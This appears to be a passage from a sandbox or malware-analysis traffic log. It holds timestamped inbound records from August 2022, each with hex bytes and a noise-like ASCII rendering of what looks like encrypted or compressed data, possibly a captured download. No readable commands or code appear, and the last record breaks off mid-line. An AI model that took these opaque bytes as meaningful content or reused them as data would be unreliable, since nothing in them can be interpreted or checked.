c7 3d 21 0c 3b 13 9f c8 8a 9f 10 e0 2d 65 36 7b 5b c1 f5 d0 02 86 99 07 d6 83 dc 10 35 4d 19 71 3c 36 db 54 26 15 cc Data Ascii: N1'I}2p:}{\|(==i:6#NbysvUC@n4#LayWC`U{I,U"_PVf85h RL"n<oC*TX ,`LJXlYEVu1mpVN{bE9=!;-e6{[5Mq<6T&
2022-08-05 09:32:58 UTC	92	IN	Data Raw: 2d 0f 68 31 96 8a d6 52 3c ee b3 3a cf 74 ce f3 89 b6 ea 9f 94 33 a3 5c a0 8d eb 50 7d ca 70 c6 ec cd 76 a6 8b 5d 41 f7 aa ac 45 4b 12 36 a6 9c c2 e5 c1 01 f5 24 b3 04 ec 85 05 11 10 50 cf 89 7a ee 3f 49 3a 84 eb 69 f2 fb cd e5 9d 0a 3a ff 18 62 2a 1b 78 8e 33 48 7a 95 ec d3 de 95 a9 4c 5f 8f 0c 16 bd 6c 85 2c ad 28 cc 12 e2 d7 58 0f 03 60 7b 6f ec 49 f9 99 f7 a4 5f ba 09 8d 35 84 5e eb 5b e5 24 a2 05 fb 42 0a 4f a9 54 51 2f b8 ea 85 a2 51 bd 91 b1 0d 8e d1 2f 2f 8c 88 ba 29 bf 0f 02 7b b3 b8 51 e6 b1 f2 e3 f5 58 ed 8c 73 d0 3e 69 c1 c4 e7 84 7c 43 bd a6 ec f5 6b 42 34 88 14 20 8f 58 37 74 08 a8 fd 96 ac 4e 59 7b 08 42 2f 57 ad b7 8a 71 db 8b 09 bb a2 c3 eb a0 a9 a9 3b a2 1b b2 b9 19 bd 28 60 aa f6 75 aa ce a3 aa 15 ff 63 b0 ca 38 ce 97 c0 9f 26 aa 33 a7 Data Ascii: -h1R<:t3\P}pv]AEK6$Pz?I:i:b*x3HzL_l,(X`{oI_5^[$BOTQ/Q//){QXs>i\|CkB4 X7tNY{B/Wq;(`uc8&3
2022-08-05 09:32:58 UTC	93	IN	Data Raw: aa ef e1 4e d0 7a 1e 03 77 4a e0 a4 d8 22 80 b8 3f f1 97 b0 0b 44 37 2a 3f 50 12 cb 55 25 79 b0 c5 7d 8a cb ad a3 f1 f5 0d 1d 5a 5f d2 e0 ef b0 1b ec 47 2a 58 c3 89 1c e8 23 db 30 c4 ec d7 85 05 1d 31 ca e5 c6 bf b5 fd 30 80 28 23 50 8f fc 46 28 14 39 b9 99 b4 21 cf 01 e7 30 d0 97 7e b0 dd c6 f3 ec 9f 11 57 ce a4 b6 7c ff 7c 7d d7 69 af 5c ff 95 34 a0 44 d1 54 e5 31 be 88 a4 8d 70 2d 8a f5 b5 11 49 26 38 ba d4 d4 50 7d eb 40 6f 8d ce a2 47 b8 b8 0a aa 53 74 af 70 6a 9d f9 da ad 18 61 6f d1 d8 f5 90 53 a4 6b 10 17 9c 60 9a 5a 12 84 5c 42 0d 9a 1b 1e 64 2d de 13 e2 a5 77 51 80 dc 0e e9 3d 03 35 39 5f 0c 02 b0 8c b8 45 4f 66 14 87 d8 c4 57 b0 af ad 60 d7 e4 26 25 49 69 1c a1 46 5d 89 05 a1 a7 3e 5a 18 fb 92 ac be 4f 63 7f 22 01 db ec 07 34 ef b6 30 81 b6 f7 Data Ascii: NzwJ"?D7?PU%y}Z_GX#010(#PF(9!0~W\|\|}i\4DT1p-I&8P}@oGStpjaoSk`Z\Bd-wQ=59_EOfW`&%IiF]>ZOc"40
2022-08-05 09:32:58 UTC	94	IN	Data Raw: 89 b1 31 83 21 99 b1 19 e7 53 58 97 a9 77 a2 f5 9d 99 51 8b 29 c1 8d 15 f4 bf 9a a3 25 8f 06 e8 f9 cc 93 c0 7f 41 18 88 d6 08 40 a1 05 93 33 dc 39 b8 59 48 92 51 ef 37 e1 32 76 19 b5 11 c5 f6 d4 ed f1 a4 75 1a 98 6d 92 fa be 3a 57 2f f2 fa a8 eb 90 fa 86 e2 9b 1e 6c 5f de 02 56 47 3a 80 4b a1 54 86 0f c7 2f c9 96 69 c9 69 be 18 6f 99 6c 1f 94 e8 29 60 5a a0 c5 5a de a8 80 86 d0 66 bd 6e 44 cc be e5 e0 6d e5 7c 14 5c 49 9e 45 95 a0 ff 1a 75 c3 a8 0c 4d 5d 59 5f 9c ba b8 c4 57 e5 ea 2c 55 1b 12 29 3c a8 9f bc 49 07 ea b8 03 d2 4d a1 ef c0 75 0a 37 27 14 6c 90 99 c0 91 1d 4c 6a 0d e2 c4 fc 08 df 85 e8 01 93 c2 39 29 d4 62 28 b1 8e d0 0a 47 09 ce 26 e5 12 d4 61 52 99 3a e1 2d 20 6e dd b7 cb f0 3b 26 3e d0 76 35 2e a2 c6 9e 99 77 87 30 03 ba 9a 9a 90 33 46 a6 Data Ascii: 1!SXwQ)%A@39YHQ72vum:W/l_VG:KT/iiol)`ZZfnDm\|\IEuM]Y_W,U)<IMu7'lLj9)b(G&aR:- n;&>v5.w03F
2022-08-05 09:32:58 UTC	96	IN	Data Raw: 4a 2d 04 b1 63 77 8c 04 82 96 17 74 22 86 8b 8c bf 4b 58 44 2b 28 a1 87 73 6a d3 d8 7a e3 c6 c1 f8 1f 5e 41 0d 15 56 31 e2 48 37 60 c6 e8 c1 50 c7 42 87 a7 02 17 ad bd be ed 51 8d 13 70 b4 01 2f 31 03 b9 a4 fd 2d 05 fa f4 24 cb 5a fe 95 aa fa 84 bb e3 37 86 07 ac cf f9 57 2f f9 2c c1 d8 fe 0e a6 df 03 1b f4 ed 9f 6b 3a 57 42 ef c9 84 e8 c7 38 ee 1d c8 7b 84 9e 73 06 6d 6b f7 9a 5a fe 62 3c 36 9d df 63 cb 82 a1 ac d5 70 07 ae 18 7c 30 5f 02 84 37 78 01 a5 97 fe ef aa 82 07 40 b7 4d 02 84 64 8c 11 8e 36 80 37 f0 f2 38 7e 18 5f 50 1c c0 78 ff b3 e6 b6 1a a8 3c e3 28 81 4a b4 2b 8c 77 f6 21 ff 61 00 49 ae 65 17 3e 80 d7 b5 9e 52 89 a1 d2 67 cc 95 48 01 cc a8 87 05 aa 14 7a 50 be df 61 c2 93 d1 e6 fb 4b cd af 41 c6 0d 06 82 83 8f 87 46 75 aa 83 88 eb 24 47 08 Data Ascii: J-cwt"KXD+(sjz^AV1H7`PBQp/1-$Z7W/,k:WB8{smkZb<6cp\|0_7x@Md678~_Px<(J+w!aIe>RgHzPaKAFu$G
2022-08-05 09:32:58 UTC	97	IN	Data Raw: f7 56 a4 23 2e 62 bb 8e ef 8a 28 1c 29 a2 78 1e 3d b2 f7 87 e0 52 bc 1d 75 99 dd cf 87 4e 7d da 52 15 8f 49 8f d6 80 ce 9b 32 ac c4 1e 88 35 d0 78 fe 65 9a fc c8 5b 03 ec 77 1b 61 05 56 b2 e0 e3 f3 59 a2 63 33 03 68 62 b0 fe bb 70 da bd 0b db eb bf 17 0a 40 1e 4e 2f 16 d5 52 12 40 a2 c8 26 b9 80 b7 81 84 99 09 4c 7a 6d e2 e3 a3 af 04 e1 63 5c 72 e7 a3 34 eb 1e 9a 5c 9e 9b 82 93 52 30 30 e4 f3 d6 e6 86 b7 69 b4 20 4e 7b ff ed 1c 31 36 3d 8f b9 eb 44 99 13 b4 04 85 93 6c e0 c0 90 a7 a0 8b 6f 71 e5 f2 a1 60 c0 62 66 ab 46 f0 45 a8 d1 64 cf 49 c9 58 e5 16 ae 9e f2 81 1b 78 da cb b1 1f 0f 7b 02 df e7 9f 78 18 d1 04 26 cc dc e8 5c b1 f1 76 82 73 07 a2 7f 4c 9c 8c c1 85 67 71 60 e5 84 95 e8 75 9a 30 1c 6f ee 60 eb 09 7e 9c 78 16 21 cc 31 25 65 0d ad 0d 9e d2 0c Data Ascii: V#.b()x=RuN}RI25xe[waVYc3hbp@N/R@&Lzmc\r4\R00i N{16=Dloq`bfFEdIXx{x&\vsLgq`u0o`~x!1%e
2022-08-05 09:32:58 UTC	98	IN	Data Raw: 0f 4a 20 18 bb d6 a5 78 65 a3 a8 7a e1 08 ac d2 af 74 03 54 1e 23 50 fc c8 d9 b2 6b 64 48 1a 84 af 9a 17 c5 cb 97 4c b1 ff 1c 25 b6 35 23 a8 e3 95 6f 50 33 95 07 bf 54 ad 2a 70 9a 31 83 33 0e 5e b8 d6 cb fc 32 23 1c f6 68 01 4d fe ff b9 e5 73 80 24 2f 9a f8 8e ac 0e 23 b6 10 38 b2 4d a9 b4 d4 a0 8e 06 b9 9b 48 ee 35 a1 36 b6 6d d3 d7 ca 20 0b e7 28 43 06 37 53 8f cf 89 c0 62 b3 6c 37 21 7f 60 d9 93 dd 63 83 ba 4e dc 85 8e 10 36 7b 13 54 32 26 ef 26 51 0b cc d7 7e a5 a7 d1 83 f1 b0 16 01 7a 1a c7 e6 93 91 28 e8 46 5c 4f ec b8 79 a5 54 ce 5c ef e2 f7 8d 0f 20 1e da 95 f5 e8 d8 ad 4b b8 4c 0d 45 b8 ce 7c 1e 2e 6f dc de f5 44 e8 06 c8 27 bc 96 5a e1 98 ab ac bf cc 5d 13 fa ff bb 65 bc 68 67 99 1c fb 14 b6 d1 15 c8 19 c9 6b dc 05 ac fb d3 82 24 40 d0 e5 e0 0a Data Ascii: J xeztT#PkdHL%5#oP3T*p13^2#hMs$/#8MH56m (C7Sbl7!`cN6{T2&&Q~z(F\OyT\ KLE\|.oD'Z]ehgk$@
2022-08-05 09:32:58 UTC	99	IN	Data Raw: 1d e8 6f cb 5d f3 2f a7 d8 7d 19 5d 21 4b 6d eb 78 b2 fd c2 d1 50 bd 38 f2 0f 95 50 94 10 a8 4f ea 11 db 64 27 6a ad 38 57 25 84 c9 b4 f1 3d d9 e8 db 2b 87 d9 0c 33 a3 dd 8e 6a b9 05 78 7b 85 8d 43 e6 9d cf 80 f8 0a dc d4 09 f4 44 69 b0 b1 b6 c6 5b 2c dd ab 89 f6 00 43 23 bf 47 12 b3 63 5e 63 3c 89 c5 bd a2 67 3b 70 50 14 26 4e c9 8a 9b 62 fe ea 22 ae 89 e7 da ba c0 dd 57 da 00 b0 85 32 e0 76 6d 85 87 45 96 af 9a fa 5a fd 7f cd b2 21 d2 a5 ef db 4c de 77 a7 ef ed 9d d7 0a 65 3c ab c8 0d 63 a4 0c 91 0c 8b 4d fd 36 77 8c 72 c1 71 c3 54 46 2d a5 2c e7 c4 e2 e4 f8 e9 39 1e 9f 6e 93 94 85 22 1b 17 e7 ab 83 fc c7 fc 96 f9 b0 03 10 46 f7 02 44 7b 2f c4 4d dd 27 a3 2b d9 2c dc a0 4f bc 2a b1 65 7e a6 64 13 dc d0 6b 2e 52 a8 cb 5b d1 84 f0 cf a0 13 9c 53 7d 9d e5 Data Ascii: o]/}]!KmxP8POd'j8W%=+3jx{CDi[,C#Gc^c<g;pP&Nb"W2vmEZ!Lwe<cM6wrqTF-,9n"FD{/M'+,O*e~dk.R[S}
2022-08-05 09:32:58 UTC	100	IN	Data Raw: 64 4f e8 98 b5 47 f9 72 60 b4 17 bc 30 fa 82 56 85 35 cf 6a c2 25 8f 8f ed c2 25 5c 93 c0 c2 0d 2a 18 37 ff f2 af 0c 66 c9 5e 61 82 85 a1 64 8e db 4e 8c 65 0e 88 03 09 ea 83 e2 cf 19 54 0e e8 d3 9c be 6e ac 75 56 5f bc 08 ed 3f 1f c2 5e 15 08 cb 19 7e 39 16 a0 31 b5 96 7b 63 dc f4 5f cb 3e 49 28 03 08 60 43 b7 83 8e 40 53 5e 10 f6 c5 c3 5b 9d ab a1 5b f6 b9 23 0f 56 5b 51 cb 53 76 b5 10 9e 99 4a 52 09 fb a7 f8 d1 3b 67 6f 01 3a fe e4 1e 07 d3 e6 48 c4 fa ee c8 6d 0f 41 7c 0b 72 2e be 16 30 46 8a f0 ed 31 b4 15 ea fb 42 5b af b6 a8 ed 6f 9a 1a 4d 9f 1b 20 09 3f a2 92 c4 56 6b 8d 82 1d e5 2d e1 cb 81 e5 b6 d5 de 67 81 72 f4 88 d3 2c 24 f7 05 fc b0 97 40 cc da 18 42 f4 82 a3 7d 4b 5c 6d af f8 97 8d e0 33 e2 02 9d 13 b3 c7 38 0e 69 40 ee d4 74 fd 09 3a 71 8c Data Ascii: dOGr`0V5j%%\*7f^adNeTnuV_?^~91{c_>I(`C@S^[[#V[QSvJR;go:HmA\|r.0F1B[oM ?Vk-gr,$@B}K\m38i@t:q
2022-08-05 09:32:58 UTC	101	IN	Data Raw: 8f 35 da 9c 5a a5 3c a7 15 02 89 7a 38 dd ae 62 08 13 b6 e9 50 ef bf 86 ff b1 71 9e 1c 78 9e e1 c0 be 62 a7 32 1c 09 4e 8c 04 bb c6 eb 08 4b f3 80 43 7d 3a 75 7c 8f 87 f6 e9 4e c2 ee 2c 68 38 0c 65 39 a7 9b ff 2b 20 ec 83 14 fa 0e 92 cc 9a 5e 19 70 3d 13 7c c0 8c cf d9 62 02 31 6a b7 fe f4 69 e9 c5 a6 6c d0 f4 28 2b b5 45 23 e4 e0 d7 4e 00 53 f4 22 d6 04 b6 6f 30 9e 09 e5 18 28 4e aa 93 fe ec 36 21 1f e7 4c 0b 49 ca b2 f3 d8 23 a7 45 26 87 93 cf c9 3d 6a 9e 74 0b 92 6e ed 9f 93 83 82 12 a1 f0 21 ab 42 9e 3f a6 5c 80 de f5 5a 35 c8 1d 40 7f 08 58 b7 a0 e6 a2 0e dd 7f 16 3d 6f 6b f7 fb ff 1e b0 9c 0f d5 e4 9a 2c 1f 6d 12 78 5d 36 ca 62 3c 5f 87 e5 63 a1 8e 91 95 c7 b5 1f 19 45 64 a4 fe be ac 1b b2 2d 3d 0a db eb 0e e9 03 b7 2d fa 8e ea b2 20 69 15 fd df c3 Data Ascii: 5Z<z8bPqxb2NKC}:u\|N,h8e9+ ^p=\|b1jil(+E#NS"o0(N6!LI#E&=jtn!B?\Z5@X=ok,mx]6b<_cEd-=- i
2022-08-05 09:32:58 UTC	103	IN	Data Raw: 4a cd a9 b3 43 7b 00 6f 9b c8 93 b9 de 21 fa 2e 8f 35 ed d2 20 77 72 44 c5 cc 5d e9 3a 68 26 91 ff 4d e0 b6 84 8c d1 59 4b 82 17 4b 03 2f 5b a8 28 6e 5e b1 ad ef ee 9c 8e 56 65 8d 37 31 8f 39 b8 69 f6 76 d8 36 f7 c9 65 25 2c 72 56 3c a7 2c b2 b1 ae a4 5e 8a 1c d5 2c c4 2f a4 53 b3 75 ef 41 d7 56 2a 63 a6 65 1f 28 87 f8 8e b9 48 9b fc 9f 2f 86 d7 42 08 af da e0 17 e8 17 65 05 d5 d8 3a f4 e4 fe 86 c8 50 f1 d8 5a b9 0b 61 80 a1 96 a2 7d 7e a9 d1 b3 de 11 26 23 b1 77 7d b5 4f 7b 54 63 e8 f2 a6 e6 71 40 21 59 1b 66 1e a5 c1 9c 2f e6 ea 20 a5 84 e5 c1 9c a2 b5 42 d5 28 97 93 34 ed 79 5f a6 95 50 aa d3 a1 be 0d e7 7a a4 b2 1b d3 ff 9f d1 23 8f 27 ab a7 c5 9f ff 01 29 55 d8 df 30 76 b9 09 bd 2e 8b 74 ac 29 6f 82 69 d5 15 f0 6d 78 48 b2 3a c0 eb e8 e6 a7 d3 01 45 Data Ascii: JC{o!.5 wrD]:h&MYKK/[(n^Ve719iv6e%,rV<,^,/SuAV*ce(H/Be:PZa}~&#w}O{Tcq@!Yf/ B(4y_Pz#')U0v.t)oimxH:E
2022-08-05 09:32:58 UTC	104	IN	Data Raw: e7 bf 04 2a 4e 18 c8 ee 90 8a 14 e8 10 23 37 89 f2 35 ad 17 b2 04 ed 88 ce 85 02 36 29 d3 e2 ff f8 d3 8e 5c ae 10 18 75 f0 aa 24 68 42 23 86 9c 95 1f d4 69 f9 46 ae f0 6f c7 f3 ae ff df f9 65 42 ba be 93 3b b0 3a 37 d3 50 8b 7b c7 89 3b 9c 40 de 4d fd 00 d1 8b fa fd 3a 6d d9 ed e7 32 0c 75 4b 8b 87 db 4f 0e e2 7b 79 99 a0 ad 5d ae ed 75 ad 41 76 b5 57 3d fc ed d1 a5 32 13 17 87 c2 90 ae 2c 88 5f 12 03 9a 39 ac 26 4e b1 19 01 1c e6 27 02 3f 04 ce 0c 87 db 08 00 db 85 17 f9 3e 68 20 1a 28 72 53 d0 c8 9d 5e 19 62 0d a7 e5 d4 09 8d b1 8e 34 a8 dd 30 5d 6b 34 26 b1 48 29 c1 2c b7 ac 13 70 6f ca f5 99 b5 40 3b 7a 0b 16 dd ba 6d 57 81 b6 41 ec bc b0 d8 0b 01 47 07 1e 0a 06 ab 31 17 49 a1 83 ee 6b da 7b be fb 0e 33 fd b8 9f ef 01 b2 2f 71 86 04 59 6d 3a b7 cb f3 Data Ascii: *N#756)\u$hB#iFoeB;:7P{;@M:m2uKO{y]uAvW=2,_9&N'?>h (rS^b40]k4&H),po@;zmWAG1Ik{3/qYm:
2022-08-05 09:32:58 UTC	105	IN	Data Raw: 14 bc d7 0a 7d b1 26 90 15 d3 34 97 5b 4f 8c 5d ec 04 ea 5b 5a 35 a8 1a c2 a0 b1 ad f1 d5 2f 48 df 7b b3 f8 b9 2b 41 53 fc df 80 d2 93 fc 87 9a b8 3e 69 4f a9 69 0f 0d 56 80 7f af 57 9f 19 de 16 b9 9f 52 9c 42 81 62 60 a7 62 3f c1 a0 79 32 5c 87 fc 50 c9 a4 94 a2 cc 69 99 60 58 b8 c2 c2 cf 2c 93 70 60 45 28 c4 4e be c4 ea 35 45 e9 8a 0a 7b 29 17 75 ef 86 b0 8d 54 e4 ea 70 00 55 7e 65 75 ea c8 a5 09 7e ab b8 2d c2 76 9d c2 95 62 2b 47 24 01 56 e0 c8 d1 a5 2e 71 5c 30 ae db cf 6b e7 8f aa 40 88 dd 0a 30 a9 48 02 d5 e1 a3 6f 0e 59 a7 47 bf 25 ef 6f 64 96 2f be 0f 31 4c d9 b2 f4 da 20 6e 2e da 2d 1c 4c ab f6 f3 94 10 d7 4f 35 bc e5 8a ce 1f 48 84 1d 37 8c 11 ea b9 d6 84 aa 37 84 92 39 a3 49 ed 66 c3 37 de c3 c1 54 2f 9e 07 1f 5e 1f 62 c8 c9 be ec 1f 84 56 3a Data Ascii: }&4[O][Z5/H{+AS>iOiVWRBb`b?y2\Pi`X,p`E(N5E{)uTpU~eu~-vb+G$V.q\0k@0HoYG%od/1L n.-LO5H779If7T/^bV:
2022-08-05 09:32:58 UTC	107	IN	Data Raw: 0a 67 aa 1a 2c 05 a3 fd d3 58 d1 2d 84 a0 4a 7d b1 fd b7 e7 48 f1 30 6d 98 3b 4a 16 12 9c 8c 81 69 40 a8 8d 04 b3 1e 88 9d b9 c8 bf d7 cf 69 eb 05 be b5 b1 2a 22 cb 0d 84 fd 9d 15 9d a3 0a 7f e1 ff 83 69 3e 0b 4d c3 d5 8b ba 82 16 de 74 8c 3f d6 8d 08 32 1a 2a 8e 90 42 da 67 58 34 81 cd 7a b7 ae b8 c1 f6 65 01 ff 19 5a 2c 2a 5f 99 0f 36 63 f4 f6 b1 fa a6 b7 71 5e d5 3d 27 ad 1a eb 45 b9 25 8a 13 cb d7 33 14 10 24 4d 3e ce 39 ea a7 89 98 19 a3 21 fd 0d bc 46 ba 2f b1 4f ac 40 da 1a 45 2e f8 6d 34 1c ab e4 8c fc 61 ab b9 b7 37 ae c1 34 41 b6 9d 87 17 97 61 60 7b 94 96 70 df 8e eb f6 cf 69 f0 99 66 a5 51 26 b8 b3 8a 92 40 27 ec c4 e0 d7 2b 46 1e 89 74 15 b7 78 37 49 11 8f ec a0 d6 75 15 0c 69 53 54 41 a5 fc bf 31 aa a9 16 85 99 e4 a6 8f ab ed 45 a6 39 b7 8f Data Ascii: g,X-J}H0m;Ji@i"i>Mt?2BgX4zeZ,*_6cq^='E%3$M>9!F/O@E.m4a74Aa`{pifQ&@'+Ftx7IuiSTA1E9
2022-08-05 09:32:58 UTC	108	IN	Data Raw: dd b0 bd 39 99 d3 1b a8 79 e2 0c 82 29 de b2 8c 2d 3d f2 60 42 03 39 64 81 ac 95 91 48 b3 44 22 2c 53 4b d8 ab d9 3d 8d 87 0a dc b2 b8 09 1f 61 67 2b 24 57 c6 6a 32 5f 97 f7 59 eb bd d5 cc 83 ec 34 31 3a 5f d6 c3 ef cf 3c dd 49 64 53 ce ae 34 ce 35 bd 37 f6 da ee df 4b 5a 5c ad dd bf fa d7 ab 46 c6 09 0d 6b bc a0 49 1c 3d 64 d6 a8 a0 10 db 44 c6 1a d5 93 5a c7 c9 98 bb be 8b 54 63 de a5 a3 68 f4 42 59 97 70 fb 14 b6 d1 15 a0 42 e8 48 fe 36 91 84 d7 e3 14 77 e1 cf f3 56 3d 2f 14 e4 ea 91 03 17 80 1a 26 bd 8c b6 7c a3 c2 5b a2 41 7e fa 71 41 f1 dc c9 a3 0f 5a 6b c5 84 ec e2 27 fd 2e 1c 1e a6 25 d2 4b 5f b6 1a 07 30 ce 20 3f 04 44 af 77 92 a5 41 66 b0 cf 5b b3 0c 13 4a 19 23 02 30 e9 d2 ab 41 60 7c 0d 8c e6 fb 63 9a a3 c1 73 d1 9a 75 17 27 66 72 d5 1f 60 93 Data Ascii: 9y)-=`B9dHD",SK=ag+$Wj2_Y41:_<IdS457KZ\FkI=dDZTchBYpBH6wV=/&\|[A~qAZk'.%K_0 ?DwAf[J#0A`\|csu'fr`
2022-08-05 09:32:58 UTC	109	IN	Data Raw: 7b 08 bc e3 a1 ef 49 40 19 58 23 36 1f aa a0 f1 74 c3 99 0c 99 96 e9 a1 b8 8a ef 01 91 22 b9 a3 45 d0 48 6f d4 8f 45 bc e5 a0 f1 6c a8 37 8d cb 49 f5 ad cf df 17 e9 01 f1 cd 98 ba e7 57 61 13 b0 e9 14 5b b9 4d a7 33 e9 54 8a 26 48 89 51 ea 08 c0 79 60 02 93 13 fd df fc b3 cc 87 6b 56 df 7f 8d 99 a3 00 6a 50 af da cb e9 c2 c6 85 dd bc 07 52 79 ad 33 32 13 6b d2 31 e9 56 a8 11 ec 2d df bd 39 af 78 c4 73 72 9b 40 37 ce 8b 7b 10 7c 80 99 2a b8 d4 f0 be b2 5b a7 4f 45 9d c0 e5 c3 14 cf 4b 4b 37 44 83 44 9c f3 e7 05 63 b9 db 3b 19 51 42 60 b8 ab 80 fd 61 e2 ce 68 25 4b 7d 6d 7d af 9e fd 20 04 e7 e8 2c 9d 02 c2 a9 cb 62 3f 48 02 30 7c fa 95 f4 90 2d 5d 5d 73 f4 e1 f7 3b da b0 b7 71 a3 a6 43 40 c6 30 2a c1 d9 a5 61 02 2e e4 16 e7 3b b8 22 6e 83 1d a2 23 0d 4b b7 Data Ascii: {I@X#6t"EHoEl7IWa[M3T&HQy`kVjPRy32k1V-9xsr@7{\|[OEKK7DDc;QB`ah%K}m} ,b?H0\|-]]s;qC@0a.;"n#K
2022-08-05 09:32:58 UTC	110	IN	Data Raw: 67 01 03 0d 64 4d a5 80 b8 69 4f 72 18 92 cc f8 15 ba a9 a9 58 a8 e0 13 43 27 2a 04 c7 6c 7c 8a 2e d1 8b 34 62 2f db f5 8a d6 69 55 22 5c 1a f8 c6 6d 6a a2 a8 0d d3 d3 fc f9 38 5b 46 32 77 54 70 ad 48 2f 63 b1 c5 cb 6f bf 25 ff 97 0e 0e de a6 d3 c4 57 ad 06 78 93 56 36 14 09 de ad 83 48 30 93 91 63 f7 7d e1 97 bf b6 ea 9f 94 33 a3 0f 90 9c d6 2a 02 b0 1d fa d1 99 0b bf a3 3b 61 b8 8d ef 4f 4c 2c 3b a3 f1 a9 8d ea 30 c3 24 bd 14 e7 d8 36 20 51 4b ec e1 05 cc 6b 0d 61 e9 f6 49 a1 aa 92 d6 ca 01 2a ab 35 18 05 09 64 b1 24 58 34 be b9 ee d4 c8 bb 76 70 92 26 36 93 22 8d 4f e2 2c f9 11 c5 cf 66 1e 1f 5e 1f 5d 84 32 fe e4 90 9a 32 b9 12 d2 06 9c 51 f2 5f bf 69 a6 1a 8d 41 0e 4c b6 6a 30 38 f6 c1 aa bf 61 91 9f b9 0a ab c0 16 37 bd a3 b9 38 ed 3a 09 38 f6 c6 76 Data Ascii: gdMiOrXC'l\|.4b/iU"\mj8[F2wTpH/co%WxV6H0c}3;aOL,;0$6 QKkaI*5d$X4vp&6"O,f^]22Q_iALj08a78:8v
2022-08-05 09:32:58 UTC	112	IN	Data Raw: 58 ff fc b8 5c 96 c4 3f 24 81 7f 3e ff fd b5 56 5b 0d cb 1d 82 13 eb 63 40 b0 0f a7 1f 34 49 af 9b ee dc 02 4a 38 e5 78 0d 00 af d8 a0 da 64 95 1c 27 bb ab 9c 9b 0e 58 a7 57 23 92 54 ac 9d d7 92 bc 73 a7 c3 3c 99 71 a0 3e 85 66 8c df e7 71 22 c9 28 17 35 1f 4f 97 ec ba cb 43 93 45 3d 3e 30 64 e8 b7 e9 36 94 a3 0b e6 bf 8f 29 08 78 43 72 0a 63 dd 7f 35 28 a2 c3 62 83 8a 87 a6 c5 b2 31 3d 7a 5d f8 c3 d6 9a 3b fb 72 57 59 c4 aa 36 dd 2c 8e 04 ee cc d6 8d 18 5a 18 f5 d8 d8 cf d0 ad 7e 90 1e 19 12 9f f2 49 24 09 37 e1 9a bf 0a e9 5f fa 10 e4 83 6c f0 e5 99 a4 89 df 58 70 ee a7 91 63 8d 5d 71 9a 7e 85 7b e0 82 10 ec 30 dd 5d fb 02 93 ac 99 f6 1f 7c da e5 f0 65 2f 27 37 f9 d6 87 47 2a c7 5c 6f 89 91 a0 40 8c f9 59 94 45 45 c3 40 6c bd e1 d0 82 27 5c 4f e9 95 ad Data Ascii: X\?$>V[c@4IJ8xd'XW#Ts<q>fq"(5OCE=>0d6)xCrc5(b1=z];rWY6,Z~I$7_lXpc]q~{0]\|e/'7G*\o@YEE@l'\O
2022-08-05 09:32:58 UTC	113	IN	Data Raw: b9 61 37 62 a8 5e 0e 02 ae d0 ba cc 54 b6 89 8f 34 ad c4 0c 70 ae 88 b6 38 9a 39 58 6c b0 83 73 85 80 cf db f5 5a dc 85 58 a0 02 2c b5 e7 8e 87 4a 4a 8d 95 ae c3 53 51 12 ae 55 3f 84 72 63 59 37 90 eb b4 f0 1f 28 23 69 17 77 62 fd a3 ca 75 da b7 20 98 e0 eb fd aa 8f b8 19 82 1f b5 da 25 e0 7d 75 81 a9 7f be e2 cf 8b 09 ff 5e 99 91 1d e5 a6 c2 83 3f bf 39 ff 9e f8 94 f9 48 6f 19 97 eb 18 40 a3 7c b9 3b ca 53 8d 17 6c 93 6b ec 26 c7 0b 66 1f 86 39 d9 f8 b1 fd a9 d0 09 72 9a 6d 8c c4 91 21 4a 52 bc f3 91 fd d0 f7 f5 df b4 24 7e 4d e6 31 6e 5a 0e bf 63 cf 09 85 0d d9 30 8b a2 6f 84 51 a1 48 54 a8 64 25 fa 9c 73 31 4e f7 e3 72 cc b3 a4 bd e6 4d 99 44 43 86 c4 eb eb 3a a7 52 54 0a 5a 82 1d bb c3 dc 0a 66 84 a2 5e 56 09 47 56 81 82 be cb 45 81 c8 74 21 67 6a 20 Data Ascii: a7b^T4p89XlsZX,JJSQU?rcY7(#iwbu %}u^?9Ho@\|;Slk&f9rm!JR$~M1nZc0oQHTd%s1NrMDC:RTZf^VGVEt!gj
2022-08-05 09:32:58 UTC	114	IN	Data Raw: c7 47 2e c9 15 4b 07 31 7e b2 1b 65 2b 99 d5 cb ee 98 af 51 6e 86 0d 3c 85 38 d6 4b da 6c cd 23 83 c7 6f 3f 37 44 4b 39 d3 67 8f a7 a7 86 32 84 1b d5 0d 9c 6b d6 01 80 73 c0 2c b9 40 20 79 9a 45 67 3f aa d6 8f a9 6e be bf 8e 5a 9e d3 14 14 be 82 b8 30 be 34 5a 38 87 9e 66 e1 94 d5 d3 f3 3f cf 8c 55 90 34 20 b3 8e b4 92 33 4e 83 a4 b5 c7 21 55 0e a8 51 34 c0 45 64 4d 34 99 e1 b3 fc 72 05 2a 08 33 77 47 fc 85 d0 67 f5 b4 21 fd b2 c7 f2 ad b4 b3 00 d1 45 c1 88 04 e4 7a 54 a6 bd 6e b5 96 9d a9 0d ef 43 92 88 5c 95 cf fc 83 10 ba 07 f3 f0 c8 99 f5 3c 7b 13 84 ca 35 60 b9 08 ed 6c be 5e ad 0e 61 b2 61 ed 36 94 3f 22 28 8f 3d c9 c8 f8 e0 b8 95 60 27 8e 6d ab f3 a4 22 55 7e b0 ff 9d e6 a4 d5 90 d8 92 3f 4f 7d e0 26 7a 4d 1f 9e 7e eb 60 ac 0c c2 17 ea a3 6b 9d 6b Data Ascii: G.K1~e+Qn<8Kl#o?7DK9g2ks,@ yEg?nZ04Z8f?U4 3N!UQ4EdM4r*3wGg!EzTnC\<{5`l^aa6?"(=`'m"U~?O}&zM~`kk
2022-08-05 09:32:58 UTC	115	IN	Data Raw: 6e 92 64 96 35 ca 5e 59 e7 cb c4 f9 00 32 98 f4 c5 d5 49 83 ac ee dc 6c 0d 2d 28 8b cd f6 84 48 30 12 fb 33 46 8d 97 e2 76 6c 94 b0 2a 9b 75 66 60 98 a2 40 0d b1 96 d4 61 7d 5a f6 27 a0 e0 2c ab 01 3d 1d de 7f 35 2e ef 99 70 e2 2c 3d c4 21 1c db 3e 3a f6 5b 2a 2c 95 60 74 d8 1a fc 0c 3c 7e 4c 7c 99 79 2f f7 2f 73 79 b0 77 4e 53 7d fb c2 e7 f4 b4 d9 f1 b8 64 93 09 2d 72 79 e3 10 07 93 b1 d8 90 08 2d 7a c2 89 bf b0 f8 e0 f9 08 84 5d da 6e 19 5b 72 f8 26 11 e4 40 fb c6 79 15 59 3f 24 cd e6 09 0f 1b 67 47 99 87 52 55 ac 83 37 a2 89 94 3a bf 63 78 40 4f 3d 41 d5 7f 5d 31 f3 ab 9e 8a 88 12 c9 c4 32 2f cc 07 23 b3 39 c3 57 10 57 76 6a 59 49 e8 f0 bd 